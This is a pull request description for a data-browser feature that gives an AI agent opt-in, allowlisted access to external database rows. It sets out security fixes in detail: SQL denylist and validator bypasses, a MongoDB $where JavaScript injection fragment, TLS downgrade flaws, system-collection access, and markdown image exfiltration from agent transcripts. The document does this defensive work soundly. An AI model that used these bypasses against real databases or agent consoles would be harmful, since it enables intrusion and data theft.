Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What this does
Turns the external-services query stack into a real data browser: a read-only
GETrows endpoint, atemps dataCLI command group, per-service opt-in AIaccess to row contents, and a substantially reworked
ServiceDataBrowserUI(independent tree scroll, column selection, row detail panel, container
overview, per-engine labels, views).
Also carries performance work on the count paths (planner stats for Postgres,
no full scans for MariaDB row counts, MongoDB sizes) and the security work
below.
Design notes
Row access is opt-in per service.
external_services.ai_data_accessdefaults to
false. Schema browsing — container, table and column names —stays open; only data itself is gated, because that is what would be shipped to
a third-party LLM provider. Toggling it is audited in both directions, and
reads through it are audited too.
The AI reaches this through the GET read index only.
read_entity_rowsisin the console read allowlist; the
POSTform (query_data) is not in thewrite allowlist, so the agent cannot route around the gate by using the body
variant of the same route.
download_objectis deliberately not allowlisted.Every query is bounded — in rows, in offset depth, in response bytes, and
in wall-clock time, at both the dispatch point and the engine.
Security
Three pre-existing issues in the query stack were fixed in
be1fdd5f/62f4e57b(connection-string injection, a denylist bypass in both SQLbackends, missing structural checks in the MariaDB validator, and markdown
image exfiltration in the chat console).
A follow-up audit of the branch then found nine more. All nine are fixed in
cb80e513:High
'…'only, so a backtickreached the shared structural check, which was written for PostgreSQL
lexing and saw no identifier before the
(. Thesleep(/benchmark(denylist entries missed it independently. One character defeated both
layers, giving a CPU/connection-hold primitive on the operator's database
reachable from the agent's
--filter. Backticked identifiers now normaliseto the same placeholder the Postgres stripper emits.
identifier under ANSI_QUOTES; the stripper cannot observe the mode and the
two readings disagree about where the span ends — the same stripper/server
desync as the backslash bug. Refused outright, as that one was.
list_entitiesisallowlisted as "schema shape only" — true for tables and collections, false
for Redis (returns keys, which embed session tokens and emails) and S3
(returns user-supplied filenames). Now gated by engine, defaulting closed
for unclassified engines.
Medium
timeout_ms: Noneand no backend read the field anyway. Now bounded at dispatch for every
backend, plus the native knob per engine.
offsetwas unclamped whilelimitwas clamped. Offset cost isO(offset), so a small limit made a deep offset look harmless.
the same OOM the row clamp exists to prevent. Added a byte budget with an
explicit
truncatedflag, surfaced in the console (which would otherwisehave disabled Next and stranded the user mid-table) and in the CLI.
and shape, never values.
imgoverride covered one renderer.AutopilotRunDetailrendered agent transcripts and tool results with no override, on page load
rather than in response to a user message. Lifted into a shared module.
Low
silence. Now a ladder: verified TLS against the webpki roots → the
accept-any verifier that Temps-managed self-signed clusters need →
cleartext, and that last rung only where the host is loopback or private.
Each downgrade logs why.
Verification
mergeStateStatus: CLEAN.cargo clippy --workspace --all-targets -D warningsclean; webtscclean; CLI 82 tests pass.against a live instance; see
be1fdd5f.Runtime evidence for the TLS fix (
111e8e77). The second review round foundthat the previous round's TLS fix was inert:
Configwas built without.ssl_mode(...), taking tokio-postgres'SslMode::Preferdefault, under whichconnect_tlsreturnsOk(MaybeTlsStream::Raw)— a cleartext socket — when theserver answers
N. The verified rung therefore succeeded over cleartext andthe two lower rungs, including the
host_is_privateguard, were unreachable.verified_tls_rung_refuses_a_server_that_does_not_offer_tlsstarts a realTLS-less PostgreSQL container and asserts the verified rung refuses it, then
asserts the ladder still reaches that same server through the cleartext rung so
self-hosted deployments without certificates keep working. Confirmed it catches
the bug rather than merely passing:
No unit test can show this — it is a property of the wire handshake, which is
exactly why the first round shipped a fix that did nothing.
Second review round
An independent security audit of the branch found five more issues; all are
fixed in
111e8e77.Blocking
SslMode::Requireon both TLS rungs,with an explicit
Disableconfig for the cleartext rung.cleartext rung. An active attacker presents a self-signed cert, rung 1 fails,
rung 2 accepts. Both lower rungs are now behind
host_is_private.$check, no allowlist, no depth bound.
{"$where": "function(){...}"}wasJavaScript execution inside mongod. Now a recursive operator allowlist with a
depth bound.
so
admin.system.usersandlocal.oplog.rswere reachable. Now pinned to theconnection string's database, with system databases and
system.*denied.set_ai_data_accessand everyservice-keyed read in
metrics_handlerspair the permission guard withassert_service_owned_by_caller; the row-reading endpoints did not. Appliedto all ten handlers.
Major —
get_entity_infowas AI-allowlisted but ungated (the shareddecision now lives in one function both entity endpoints call);
count()andget_entity_infowere unbounded on all three engines; console paging silentlyskipped rows after a byte-truncated page; regex ReDoS passed both SQL validators
because the pattern hides inside a string literal.
Minor — parenless information functions and
@@variables; thevalidate_sort_fieldtrim/quote desync; substring denylist matching thatrejected
payloadandcharset;host_is_privateclassifying the hostnamestring rather than the resolved address; the missing
aoverride inAutopilotRunDetail; theget_container_infooperationId collision.Merge notes
f3fc1c97merges main. Two resolutions worth knowing about:m20260804_000001.They touch different tables and
DeriveMigrationNamekeys on the full modulename, so the shared stamp is not a collision. Kept both rather than re-dating
this branch's, since main's shipped first and may already have run.
web/src/api/clientwas not regenerated fromapps/temps-cli/openapi.json.That committed spec is staler than main's web client (which is generated
against a live server), so regenerating from it silently dropped types main's
frontend needs. Those files were three-way merged instead.